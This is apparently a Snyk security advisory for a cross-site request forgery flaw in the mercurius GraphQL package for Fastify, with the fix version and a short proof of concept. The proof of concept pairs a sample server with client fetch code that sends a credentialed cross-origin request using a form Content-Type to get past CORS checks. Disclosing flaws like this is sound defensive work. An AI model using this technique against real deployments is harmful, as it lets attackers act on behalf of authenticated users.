Cross-site Request Forgery (CSRF) Affecting mercurius package, versions <16.4.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JS-MERCURIUS-15428327
- published6 Mar 2026
- disclosed5 Mar 2026
- creditSimone Sanfratello
Introduced: 5 Mar 2026
NewCVE-2025-64166 (opens in a new tab)How to fix?
Upgrade mercurius to version 16.4.0 or higher.
Overview
mercurius is a GraphQL adapter for Fastify
Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to incorrect parsing of the Content-Type header. An attacker can perform unauthorized actions on behalf of an authenticated user by sending specially crafted cross-origin requests that bypass CORS protections.
PoC
// Server-side Fastify setup
const Fastify = require('fastify');
const mercurius = require('mercurius');
const app = Fastify();
const schema = `
type Query {
hello(name: String): String
}
`;
const resolvers = {
Query: {
hello: (_, { name }) => `Hello ${name || 'World'}!`
}
};
app.register(mercurius, { schema, resolvers });
app.listen(3000, () => {
console.log('Server listening on http://localhost:3000');
});
// Malicious client-side code
fetch('http://localhost:3000/graphql', {
method: 'POST',
body: JSON.stringify({ query: '{ hello(name: "attacker") }' }),
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
credentials: 'include'
});